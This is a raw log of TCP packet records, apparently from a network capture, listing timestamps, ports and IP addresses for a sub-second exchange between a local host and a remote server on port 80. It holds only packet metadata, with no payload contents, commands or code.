Nov 12, 2024 02:13:08.938183069 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:08.938302994 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:08.938314915 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:08.938327074 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:08.938354015 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:08.938366890 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:08.980305910 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:08.980323076 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:08.980334044 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:08.980389118 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:08.980532885 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.013590097 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.013648987 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.013664961 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.013676882 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.013694048 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.013704062 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.013709068 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.013720989 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.013732910 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.013741970 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.013756990 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.013771057 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.013776064 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.013783932 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.013797045 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.013822079 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.013844013 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.014131069 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.014148951 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.014159918 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.014173031 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.014194965 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.014218092 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.014430046 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.014482975 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.014513969 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.014528036 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.014543056 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.014568090 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.014590979 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.054533005 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.054548025 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.054558039 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.054621935 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.054656029 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.054991007 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.055038929 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.055043936 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.055063963 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.055077076 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.055087090 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.055098057 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.055109978 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.055116892 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.055129051 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.055140018 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.055171013 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.055387020 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.055398941 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.055408955 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.055442095 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.055459023 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.097333908 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.097347975 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.097358942 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.097403049 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.097438097 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.130305052 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.130341053 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.130353928 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.130372047 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.130387068 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.130397081 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.130398035 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.130430937 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.130496979 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.130511045 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.130525112 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.130553007 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.130567074 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.130928993 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.130943060 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.130953074 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.130965948 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.130985975 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.131012917 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.131063938 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.131076097 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.131086111 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.131114006 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.131127119 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.131269932 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.131331921 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.131331921 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.131344080 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.131356001 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.131367922 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.131380081 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.131407976 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.171355963 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.171371937 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.171382904 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.171432018 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.171471119 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.171474934 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.171483040 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.171494007 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.171519995 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.171544075 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.171895981 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.171922922 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.171935081 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.171956062 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.171988964 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.172044992 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.172096014 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.172133923 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.172147036 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.172184944 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.172198057 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.172261953 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.172274113 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.172285080 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.172312975 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.172327042 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.172446012 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.172499895 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.172509909 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.172560930 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.214473009 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.214487076 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.214500904 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.214531898 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.214577913 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.247354031 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.247364998 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.247441053 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.247466087 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.247484922 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.247507095 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.247518063 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.247522116 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.247540951 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.247551918 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.247577906 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.247808933 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.247827053 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.247838020 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.247869968 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.247889042 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.248032093 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.248044014 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.248063087 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.248076916 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.248090982 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.248140097 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.248368025 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.248379946 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.248390913 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.248403072 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.248425961 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.248459101 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.248655081 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.248680115 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.248708963 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.248734951 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.288561106 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.288573980 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.288583994 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.288594961 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.288621902 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.288625002 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.288660049 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.288662910 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.288680077 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.288710117 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.288974047 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.288990021 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.289000034 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.289033890 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.289041996 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.289060116 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.289060116 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.289091110 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.289100885 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.289164066 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.289174080 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.289216042 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.289263964 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.289313078 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.289320946 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.289361954 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.289413929 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.289427042 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.289438009 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.289448977 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.289465904 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.289494991 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.337043047 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.337057114 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.337069035 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.337106943 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.337131977 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.364439964 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.364505053 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.364520073 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.364547968 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.364579916 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.364639997 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.364651918 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.364667892 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.364681005 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.364692926 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.364697933 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.364722967 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.364739895 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.364933014 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.364947081 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.364958048 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.364969015 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.364983082 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.364995003 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.365025997 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.365047932 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.365351915 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.365374088 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.365396976 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.365408897 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.365410089 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.365422010 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.365431070 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.365454912 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.365485907 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.405615091 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.405628920 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.405639887 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.405652046 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.405663013 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.405689001 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.405735970 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.405970097 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.405982971 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.405994892 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.406023026 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.406040907 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.406083107 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.406094074 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.406104088 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.406127930 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.406153917 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.406291008 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.406310081 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.406323910 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.406339884 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.406375885 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.406483889 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.406514883 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.406531096 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.406536102 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.406563044 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.406754971 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.406768084 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.406784058 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.406812906 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.406824112 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.454092979 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.454157114 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.454168081 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.454169035 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.454197884 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.454210997 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.454534054 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.454587936 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.481440067 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.481451988 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.481506109 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.481575012 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.481587887 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.481600046 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.481611967 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.481631041 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.481647015 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.481756926 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.481800079 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.481811047 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.481833935 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.481843948 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.481885910 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.481899023 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.481914043 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.481937885 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.481955051 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.481975079 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.482227087 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.482239962 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.482251883 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.482263088 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.482287884 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.482312918 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.482506990 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.482532024 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.482547045 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.482554913 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.482661009 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.522536039 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.522551060 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.522562027 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.522572994 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.522605896 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.522619963 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.522717953 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.522731066 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.522747993 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.522759914 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.522768021 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.522799015 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.522944927 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.522962093 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.523004055 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.523014069 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.523020983 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.523066044 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.523073912 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.523087025 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.523097992 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.523123980 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.523149014 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.523386002 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.523396969 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.523438931 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.523451090 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.523535967 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.523547888 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.523561954 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.523571968 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.523585081 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.523600101 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.523633003 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.523818016 CET	80	49732	185.215.113.206	192.168.2.4
